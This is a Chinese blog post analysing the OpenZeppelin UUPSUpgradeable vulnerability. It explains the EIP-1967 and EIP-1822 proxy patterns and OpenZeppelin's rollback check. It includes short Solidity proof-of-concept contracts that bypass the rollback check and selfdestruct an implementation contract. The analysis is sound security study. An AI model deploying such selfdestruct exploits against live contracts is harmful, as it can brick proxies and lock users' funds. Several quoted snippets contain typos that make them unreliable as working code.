前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >UUPSUpgradeable 漏洞分析

UUPSUpgradeable 漏洞分析

作者头像
Tiny熊
发布2021-10-13 11:30:11
1.2K0
发布2021-10-13 11:30:11
举报

  • 本文作者:bixia1994 [1]

参考链接:UUPSUpgradeable Vulnerability Post-mortem - General / Announcements - OpenZeppelin Community[2]

EIP-1967

在UUPS中,其实现了EIP-1967. EIP-1967的目的是规定一个通用的存储插槽,用于在代理合约中的特定位置存放逻辑合约的地址。其规定了如下特定的插槽:

代码语言:javascript
复制
=> 逻辑合约地址
bytes32(uint256(keccak256("eip1967.proxy.implementation") - 1))
更新该地址时,需要同时发出:
event Upgraded(address indexed implementation);

=> beacon地址
bytes32(uint256(keccak256("eip1967.proxy.beacon") - 1))
更新该地址时,需要发出:
event BeaconUpgraded(address indexed beacon);

=> admin 地址
bytes32(uint256(keccak256("eip1967.proxy.admin") - 1))
更新该地址时,需要发出:
event AdminChanged(address indexed previousAdmin, address newAdmin);

EIP-1967在设计如上插槽的时,特意将计算得到的地址减去1,目的是为了不能知道哈希的前像,进一步减少可能的攻击机会。

EIP-1967设计特定的插槽,而不是给定一个返回逻辑合约地址的函数,其目的在于防止函数签名攻击。函数签名攻击的思路是:由于solidity中识别一个函数,靠的是函数签名,而函数签名是函数哈希后的前4个bytes,是非常容易碰撞出来的。在一个独立的solidity文件中,编译器自己会去检查所有的external和public函数是否存在函数签名碰撞,而对于代理模式的合约文件,可能存在proxy合约中的函数签名与impl合约中的函数签名碰撞。而一旦发生这种碰撞,proxy合约中的函数就会被直接调用,而不是impl合约对应的函数。

比如EIP-897中,其规定了如下两个函数:

代码语言:javascript
复制
interface ERCProxy {
  function proxyType() public pure returns (uint256 proxyTypeId);
  function implementation() public view returns (address codeAddr);
}

作为一个实现EIP-897的代理合约,其在代理合约中会实现这两个函数。

UUPS EIP-1822

EIP-1822讨论的合约升级模式与Openzeppelin的透明合约升级模式的不同点在于:EIP-1822的代理合约只读取实现合约的地址,并将所有的方法都代理给实现合约,包括修改实现合约地址的逻辑部分也在实现合约里。而透明合约升级模式中,proxy合约管理着实现合约的地址,要实现合约升级,只需要在proxy合约中更改实现合约的地址即可。其他的逻辑代理给实现合约。

也就是说EIP-1822的实现合约既包含了普通的业务逻辑处理,更包含了自身的升级逻辑处理。简单来讲就是EIP-1822的实现合约部分,都需要继承自一个公共的可升级实现合约:proxiable.sol。在可升级的实现合约proxiable中,实现如下方法:

代码语言:javascript
复制
function proxiableUUID() public pure returns (bytes32) {
 //作用是一个flag,用来判断是否返回特定值keccak256("PROXIABLE"),以判断该合约是否是一个实现了EIP-1822的可升级实现合约
}
function updateCodeAddress(address newAddress) ineternal {
 //简单来讲就是更新实际逻辑实现合约的地址
 require(this.proxiableUUID() == Proxiable(newAddress).proxiableUUID());
 bytes32 proxiableUUID_ = this.proxiableUUID();
 assembly{
  sstore(proxiableUUID_, newAddress)
 }
}

然后在实现合约中,所有的实现合约都继承自proxiable合约,然后实现自己的逻辑即可。因为代理合约只是从插槽keccak256("PROXIABLE")处读取实现合约的地址,而实现合约可以通过proxiable中的updateCodeAddress方法来更新这个地址,从而实现代理合约中对应插槽keccak256("PROXIABLE")位置处的地址改变为目标地址。

Openzeppelin的实现

Openzeppelin中关于EIP-1822的实现与EIP-1822中的定义并不一致,主要是EIP-1822中定义的插槽位置与EIP-1967中定义的插槽位置不一致导致。openzeppelin选择使用EIP-1967中定义的插槽位置来具体实现。同时EIP-1822也有很明显的缺点,即新来的一个实现合约中只实现了proxiableUUID方法,没有实现updateCodeAddress方法,则合约就无法继续升级,导致所有的代理合约都锁死。

故openzepplin在具体实现时,其实现的具体思路为:提供一个UUPSUpgradeable合约,在该合约中提供合约升级方法:upgradeTo. 与EIP-1822的不同点在于,它取消了proxiableUUID这个flag,增加了_autorizeUpgrade方法,用于授权一个新地址。同时提供了一个upgradeToAndCall方法,用于升级后马上进行初始化操作。

代码语言:javascript
复制
function upgradeTo(address newImplementation) external virtual {
    //第一步检查msg.sender的权限
    _authorizeUpgrade(newInplementation);
    //第二步执行升级步骤
    _upgradeToAndCallSecure(newImplementaion,new bytes(0),false);
}
function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual {}
function _authorizeUpgrade(address newImplementation) internal onlyOwner() {}

其中,openzeppelin通过回滚检测,来检查是否升级成功,避免了EIP-1822中遇到的问题:

代码语言:javascript
复制
function _upgradeToAndCallSecure(address newImplementation,bytes memory data,bool forceCall) internal {
    //第一步:设置newImpl地址到实现合约地址
    address oldImplementation = _getImplementation();
    _setImplementation(newImplementation);
    //第二步:针对新的实现合约地址进行初始化
    if (data.length > 0 || forceCall) {
        Address.delegateCall(newImplementation, data);
    }
    //第三步:执行回滚检查
    // Perform rollback test if not already in progress
    StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT);
    //第四步:首先假设触发回滚操作,由新地址重新回滚到旧地址上,再检查升级后的旧地址是否是之前的旧地址,如果是,则说明回滚成功。如果可以回滚成功,说明升级到该新地址是安全的。
    if (!rollbackTesting.value) {
        //需要执行回滚操作
        //即将impl地址由新地址改回旧地址,通过调用新地址上的upgradeTo方法来进行
        rollbackTesting.value = true;
        Address.functionDelegateCall(newInplementation, abi.encodeWithSigature("upgradeTo(address)",oldImplementation));
        rollbackTesting.value = false;
        //检查回滚是否成功
        require(oldImplementation == _getImplementation());
        //最后设置回新地址,并打log Upgraded(address)
        _upgradeTo(newImplementation);
    }
}

Openzepplin的实现漏洞分析

在上述的Openzeppelin的实现中,其通过回滚检测避免了EIP-1822中遇到的问题:即升级到一个不满足EIP-1822规范的合约时,此时代理合约和实现合约就完全被锁死,无法继续升级。但是其又引入了一个新的问题,即:回滚操作中事实上模拟了一遍新的实现合约地址中的upgradeTo操作,并且是通过delegatecall方式来进行调用。

通过delegatecall调用新合约地址的upgradeTo方法有什么问题呢?

查看黄皮书中关于delegatecall的定义为:

代码语言:javascript
复制
Message-call into this account with an alternative accounts' code, but persisting the current values for sender and value
$(\boldsymbol{\sigma}', g', A^+, \mathbf{o}) \equiv \begin{cases}\begin{array}{l}\Theta(\boldsymbol{\sigma}, I_{\mathrm{s}}, I_{\mathrm{o}}, I_{\mathrm{a}}, t, C_{\text{\tiny CALLGAS}}(\boldsymbol{\mu}), \\\quad I_{\mathrm{p}}, 0, I_{\mathrm{v}}, \mathbf{i}, I_{\mathrm{e}} + 1, I_{\mathrm{w}})\end{array} & \text{if} \quad I_{\mathrm{e}} < 1024 \\(\boldsymbol{\sigma}, g, \varnothing, ()) & \text{otherwise} \end{cases} \\
代码语言:javascript
复制
this means that the receipient is in fact the same account as at persent, simply that the code is overwritten and the context is almost entirely identical

从黄皮书的定义来看,delegatecall事实上保存了当前账户的余额和msg.sender, 只是调用远程合约的代码,让远程合约的代码跑在当前账户的上下文环境上。

利用openzeppelin的在线代码生成,可以生成如下的代码:Contracts Wizard - OpenZeppelin Docs[3]

代码语言:javascript
复制
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;

import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";

contract TestToken is Initializable, ERC20Upgradeable, OwnableUpgradeable, UUPSUpgradeable {
    /// @custom:oz-upgrades-unsafe-allow constructor
    constructor() initializer {}

    function initialize() initializer public {
        __ERC20_init("testToken", "MTK");
        __Ownable_init();
        __UUPSUpgradeable_init();
    }

    function mint(address to, uint256 amount) public onlyOwner {
        _mint(to, amount);
    }

    function _authorizeUpgrade(address newImplementation)
        internal
        onlyOwner
        override
    {}
}

注意这里的TestToken是UUPS升级合约的实现合约部分,而不是代理合约部分。那么应该如何去做这个TestToken的POC呢?

POC

这里不能直接在malicious合约中的upgradeTo方法中写selfdestruct,而是应该利用ForceCall部分的delegatecall,并通过写入rollbackTesting.value = true来绕过回滚检查,当这一笔交易执行结束后,合约TestToken的代码被完全清空。

代码语言:javascript
复制
pragma solidity ^0.8.0;

import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";

contract Exploit2 {
    
    function hack() public {
         bytes32  _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
         StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT);
         //avoid the rollback test
         rollbackTesting.value = true;
         selfdestruct(payable(tx.origin));
         
    }
    function _authorizeUpgrade(address newImplementation) internal  {
        
    }
}

讨论

那么在openzeppelin的UUPS实现中,使用delegatecall来进行回滚测试有什么问题呢?

问题就是:

代码语言:javascript
复制
Address.functionDelegateCall(newInplementation, abi.encodeWithSigature("upgradeTo(address)",oldImplementation));

上述代码将newInplementation地址上的upgradeTo方法代码放到当前地址来执行,如果在upgradeTo方法中,放入selfdestruct这一个opcode,让合约自毁,则当前合约地址就会自毁,根本不会继续执行后面的require语句:

代码语言:javascript
复制
require(oldImplementation == _getImplementation());

故简单的POC逻辑为:

代码语言:javascript
复制
pragma solidity 0.8.0;
contract MaliciousImpl{
 function upgradeTo(address newImplementation) external  {
  selfdestruct(address(0));
 }
}

上述openzeppelin实现的代码中,最为核心的一条是理解:当delegatecall到一个selfdestruct方法后,程序所有的代码都会被直接清空,不会继续往下执行,也就不会去执行后面的require判断条件。

然而在remix中执行时,发现delegatecall之后的require语句还是执行了:

这是不对的,需要进一步理解黄皮书中关于selfdestruct这个opcode的定义:

代码语言:javascript
复制
selfdestruct: Halt execution and register account for later deletion
代码语言:javascript
复制
function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) {
    require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract");

    // solhint-disable-next-line avoid-low-level-calls
    (bool success, bytes memory returndata) = target.delegatecall(data);
    return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed");
}

当delegatecall到一个selfdestruct的方法时,其返回值为0,然后代码继续运行。如果此笔交易在后续的执行过程中成功,则上下文地址上的代码将会被清空。如果该笔交易在后续的执行过程中失败,则整体状态会回滚。

参考资料

[1]

bixia1994 - 互联网小工: https://learnblockchain.cn/people/3295

[2]

UUPSUpgradeable Vulnerability Post-mortem - General / Announcements - OpenZeppelin Community: https://forum.openzeppelin.com/t/uupsupgradeable-vulnerability-post-mortem/15680

[3]

Contracts Wizard - OpenZeppelin Docs: https://docs.openzeppelin.com/contracts/4.x/wizard

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-09-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 深入浅出区块链技术 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • EIP-1967
  • UUPS EIP-1822
  • Openzeppelin的实现
  • Openzepplin的实现漏洞分析
    • POC
    • 讨论
      • 参考资料
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档